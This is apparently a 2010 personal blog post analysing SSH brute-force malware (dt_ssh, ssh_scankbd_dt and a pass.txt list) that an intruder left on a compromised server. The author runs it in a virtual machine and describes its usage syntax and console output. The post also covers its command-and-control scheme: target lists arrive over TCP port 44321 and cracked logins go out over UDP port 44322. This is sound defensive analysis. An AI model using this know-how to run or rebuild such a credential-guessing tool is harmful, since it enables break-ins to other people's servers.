GehrigNET

SSH Brute-Force Attacks Investigation

Since a while there are ongoing brute-force attacks against ssh servers on the internet. A few days ago one of these attacks was detected on a server I work with. Through a login with a weak password that seems to has been created during the install of the server files have been copied by the intruder onto the server for doing such a brute-force attack from this server against other servers.
These files were copied into the /tmp directory and were named dt_ssh, pass.txt and ssh_scankbd_dt. A search on google for these filenames didn't bring up much details about these files. So I decided to investigate these myself.
I set up a virtual machine copied these files onto them and locked at would they try to do.

pass.txt

pass.txt is as the name suggests a list of common easy to guess login/password combinations that the attacker uses to try to break into a system.

dt_ssh

When dt_ssh is called a usage text is displayed that gives information about the possible parameters:

dt_ssh <childs> <remote host> <password file>

childs denotes the number of children that the programm should create through forks. remote host is the IP of the remote server that the attacker uses to control the brute-force programs remotely that are probably distributed wildly on the net. And password file will be the file pass.txt.
So I passed some arguments to the program in the virtual machine and looked at the network traffic and looked for the destination port on the remote host that it tries to connect to. This port was the port 44321. So I set up a small python tcp server that listens on this port to see what the program tries to do. The tool doesn't do anything before the connection is closed from the tcp server and it always outputs something of the following form:

err=<length of return message> ok

I set the message from the tcp server to the tool to be the IP 192.168.178.22 to be attacked. The output on the console was then the following:

$ ./dt_ssh 0 192.168.178.21 pass.txt
192.168.178.21
getting ip list
err=15 ok
192.168.178.22
checking Schueler:Schueler@192.168.178.22
checking Studentenclub:Studentenclub @192.168.178.22
...

Thus the program gets from this tcpserver on port 44321 a list of IPs separated by returns to be attacked. This is the same for dt_ssh and ssh_scankbd_dt. dt_ssh then checks all the entries in pass.txt for a successful login.
I created such an account listed in pass.txt and watched what the program was doing. It then connected successfully to sshd and then there was a pause. I have no idea what it was doing in this time. But afterwards it tries to connect to port 44322 through UDP. So I set up a simple python udp server listening on this port and the message send to this server was then of the following form:

<username>:<password>@<IP>

ssh_scankbd_dt

Calling ssh_scankbd_dt returns the following text:

ssh_scankbd_dt <childs> <remote host>

When run, its output looks similar to that of dt_ssh:

$ ./ssh_scankbd_dt 0 192.168.178.21
192.168.178.21
getting ip list
err=15 ok
192.168.178.22
checking 192.168.178.22
...

So it gets the IP list just like dt_ssh does and then checks the availability of ssh on this machines.
It also connects to this UDP port, but instead only reports the successfully through ssh reachable IPs.

Conclusions

Thus to catch this attacker one has to log this Remote-IP, since this does not seem to be distributed and is centralized for the dt_ssh processes running in the wild net. But surely the attacker must not be the only one and also does not necessarly use his computer for this attack.

last modified: Wednesday, 12-May-2010 00:17:02 CEST